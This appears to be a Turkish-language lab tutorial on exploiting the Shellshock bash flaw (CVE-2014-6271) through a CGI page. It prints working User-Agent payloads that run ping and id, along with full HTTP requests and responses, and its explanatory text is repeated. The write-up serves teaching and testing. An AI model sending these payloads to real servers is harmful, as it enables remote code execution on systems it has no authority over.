Shellshock Zafiyeti Nedir ?
Linux ve Unix işletim sistemlerinin çoğu sürümünü potansiyel olarak etkileyen “ShellShock” veya “Bash Bug” olarak bilinen GNU Bash Remote Code Execution Güvenlik Açığı (CVE-2014–6271), saldırganın başarıyla exploit etmesi durumunda saldırganın hedeflenen bir bilgisayar üzerinde denetim kazanmasına izin verebilir.
Güvenlik açığı, Linux ve Unix’in birçok sürümünde görünen ve shell olarak bilinen ortak bir bileşen olan Bash’i etkiler. Bash, bir komut dili yorumlayıcısı olarak görev yapar. Başka bir deyişle, kullanıcının komutları, işletim sisteminin daha sonra çalışacağı basit bir metin tabanlı pencereye yazmasına izin verir.
Bash, kendisine web sayfaları tarafından iletilen komutları çalıştırmak için de kullanılabilir ve bu güvenlik açığının etkilediği özelliktir.
Bash’e gönderilebilecek bir komut türü ortam değişkenlerinin (Environment Variables) ayarlanmasına izin verir. Güvenlik açığı, bir saldırganın, değişken(variable) alındıktan sonra çalıştırılacak olan çevre değişkenine(environment variable) kötü amaçlı kod(malicious code) enjekte edebileceği gerçeğinden kaynaklanmaktadır.
Nasıl İstismar Edilir ?
Uygulamayı çalıştırdıktan sonra ilk olarak web üzerinden uygulamaya erişim sağlanır. Araya girilen bir proxy uygulaması(burp) ile istek yakalandığı zaman uygulamanın /cgi-bin/ dizinindeki status adlı sayfayı istediği aşağıdaki ekran görüntüsünde görülmektedir ;
Daha sonra isteğe proxy üzerinden izin verilip dönen cevaba bakıldığı zaman, sistem üzerinde bir takım bash komutlarının çalıştığı ve bunun sonuçlarının ekrana basıldığı görülmektedir. Aşağıdaki ekran görüntüsünde dönen response üzerinde bulunan kernel bilgisi, sistemin ayakta kalma süresi gibi özellikler bu durumu ispatlamaktadır ;
Bu çıktılar doğrultusunda sistem üzerinde bash komutu çalıştırıdığı açıkça görülmektedir. Peki bu nasıl istismar edilebilir ?
Shellshock zafiyetinin birden fazla istismar yöntemi olmasına rağmen burada web üzerinden User-Agent bilgileri ile nasıl istismar edileceği anlatılacaktır. Uygulama çalıştırılıp tekrar burp suite ile araya girildikten sonra HTTP isteği görülecektir. Bu istek repeater’a gönderilip User-Agent bilgilerini değiştirerek açıklığı istismar etmek mümkündür. Repeater’a gönderilen istekteki User-Agent değerine aşağıdaki gibi bir payload yazılarak sistem üzerinden başka bir makineye ping attırılabilir.
Http istek ve cevabının tamamı ise aşağıdaki tabloda verilmiştir. Dönen response üzerinde komutun çalıştığı ve 172.16.16.1 adresine ping işleminin başarı ile gerçekleştiği görülmektedir.
User-Agent değerine yazılan payloada birden fazla komut yazmak da mümkündür. Normal linux sistemlerdeki gibi komutlar “ ; “ ile birbirinin devamına yazılabilir. Aşağıdaki uygulamada ping işleminin ardından sistemde çalıştırılan komut ile kullanıcının id değeri öğrenilmiştir. Bunun için yazılan payload aşağıdaki gibidir.
Http istek ve cevabının tamamı ise aşağıdaki tabloda verilmiştir. Dönen response üzerinde komutun çalıştığı ve 172.16.16.1 adresine ping işleminin başarı ile gerçekleştiği ve sistemdeki kullanıcının id değeri açıkça görülmektedir.
Kaynaklar :
www.bgasecurity.com
www.medium.com
Linux ve Unix işletim sistemlerinin çoğu sürümünü potansiyel olarak etkileyen “ShellShock” veya “Bash Bug” olarak bilinen GNU Bash Remote Code Execution Güvenlik Açığı (CVE-2014–6271), saldırganın başarıyla exploit etmesi durumunda saldırganın hedeflenen bir bilgisayar üzerinde denetim kazanmasına izin verebilir.
Güvenlik açığı, Linux ve Unix’in birçok sürümünde görünen ve shell olarak bilinen ortak bir bileşen olan Bash’i etkiler. Bash, bir komut dili yorumlayıcısı olarak görev yapar. Başka bir deyişle, kullanıcının komutları, işletim sisteminin daha sonra çalışacağı basit bir metin tabanlı pencereye yazmasına izin verir.
Bash, kendisine web sayfaları tarafından iletilen komutları çalıştırmak için de kullanılabilir ve bu güvenlik açığının etkilediği özelliktir.
Bash’e gönderilebilecek bir komut türü ortam değişkenlerinin (Environment Variables) ayarlanmasına izin verir. Güvenlik açığı, bir saldırganın, değişken(variable) alındıktan sonra çalıştırılacak olan çevre değişkenine(environment variable) kötü amaçlı kod(malicious code) enjekte edebileceği gerçeğinden kaynaklanmaktadır.
![du3azgg.png](https://i.hizliresim.com/du3azgg.png)
Nasıl İstismar Edilir ?
Uygulamayı çalıştırdıktan sonra ilk olarak web üzerinden uygulamaya erişim sağlanır. Araya girilen bir proxy uygulaması(burp) ile istek yakalandığı zaman uygulamanın /cgi-bin/ dizinindeki status adlı sayfayı istediği aşağıdaki ekran görüntüsünde görülmektedir ;
Daha sonra isteğe proxy üzerinden izin verilip dönen cevaba bakıldığı zaman, sistem üzerinde bir takım bash komutlarının çalıştığı ve bunun sonuçlarının ekrana basıldığı görülmektedir. Aşağıdaki ekran görüntüsünde dönen response üzerinde bulunan kernel bilgisi, sistemin ayakta kalma süresi gibi özellikler bu durumu ispatlamaktadır ;
Bu çıktılar doğrultusunda sistem üzerinde bash komutu çalıştırıdığı açıkça görülmektedir. Peki bu nasıl istismar edilebilir ?
Shellshock zafiyetinin birden fazla istismar yöntemi olmasına rağmen burada web üzerinden User-Agent bilgileri ile nasıl istismar edileceği anlatılacaktır. Uygulama çalıştırılıp tekrar burp suite ile araya girildikten sonra HTTP isteği görülecektir. Bu istek repeater’a gönderilip User-Agent bilgilerini değiştirerek açıklığı istismar etmek mümkündür. Repeater’a gönderilen istekteki User-Agent değerine aşağıdaki gibi bir payload yazılarak sistem üzerinden başka bir makineye ping attırılabilir.
() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1’
Http istek ve cevabının tamamı ise aşağıdaki tabloda verilmiştir. Dönen response üzerinde komutun çalıştığı ve 172.16.16.1 adresine ping işleminin başarı ile gerçekleştiği görülmektedir.
GET /cgi-bin/status HTTP/1.1
Host: 172.16.16.170
User-Agent:() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1’
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 05 Nov 2014 13:39:01 GMT
Server: Apache/2.2.21 (Unix) DAV/2
PING 172.16.16.1 (172.16.16.1): 56 data bytes
64 bytes from 172.16.16.1: seq=0 ttl=64 time=0.963 ms, seq=1 ttl=64 time=11.111 ms, seq=2 ttl=64 time=3.990 ms
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain
Content-Length: 141
— 172.16.16.1 ping statistics —
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.963/5.354/11.111 ms
User-Agent değerine yazılan payloada birden fazla komut yazmak da mümkündür. Normal linux sistemlerdeki gibi komutlar “ ; “ ile birbirinin devamına yazılabilir. Aşağıdaki uygulamada ping işleminin ardından sistemde çalıştırılan komut ile kullanıcının id değeri öğrenilmiştir. Bunun için yazılan payload aşağıdaki gibidir.
() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1;id’
![lfn9r51.gif](https://i.hizliresim.com/lfn9r51.gif)
Http istek ve cevabının tamamı ise aşağıdaki tabloda verilmiştir. Dönen response üzerinde komutun çalıştığı ve 172.16.16.1 adresine ping işleminin başarı ile gerçekleştiği ve sistemdeki kullanıcının id değeri açıkça görülmektedir.
GET /cgi-bin/status HTTP/1.1
Host: 172.16.16.170
User-Agent:() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1;id’
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 05 Nov 2014 13:44:46 GMT
Server: Apache/2.2.21 (Unix) DAV/2
PING 172.16.16.1 (172.16.16.1): 56 data bytes
64 bytes from 172.16.16.1: seq=0 ttl=64 time=14.142 ms, seq=1 ttl=64 time=3.836 ms, seq=2 ttl=64 time=4.825 ms
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain
Content-Length: 213
— 172.16.16.1 ping statistics —
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 3.836/7.601/14.142 ms
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)
Kaynaklar :
![www.bgasecurity.com](https://www.bgasecurity.com/wp-content/uploads/2016/04/bga_ofis.jpg)
BGA Cyber Security - Siber Güvenlik Çözümleri
BGA Cyber Security olarak siber güvenlik alanında teknoloji bağımsız siber güvenlik çözümleri sunuyoruz.
![www.medium.com](https://miro.medium.com/v2/1*5ER2KRyL5S0S_xX8Pf0lgg.png)
Medium â Where good ideas find you.
Medium is an open platform where readers find dynamic thinking, and where expert and undiscovered voices can share their writing on any topic.
![www.medium.com](https://miro.medium.com/v2/1*m-R_BkNf1Qjr1YbyOIJY2w.png)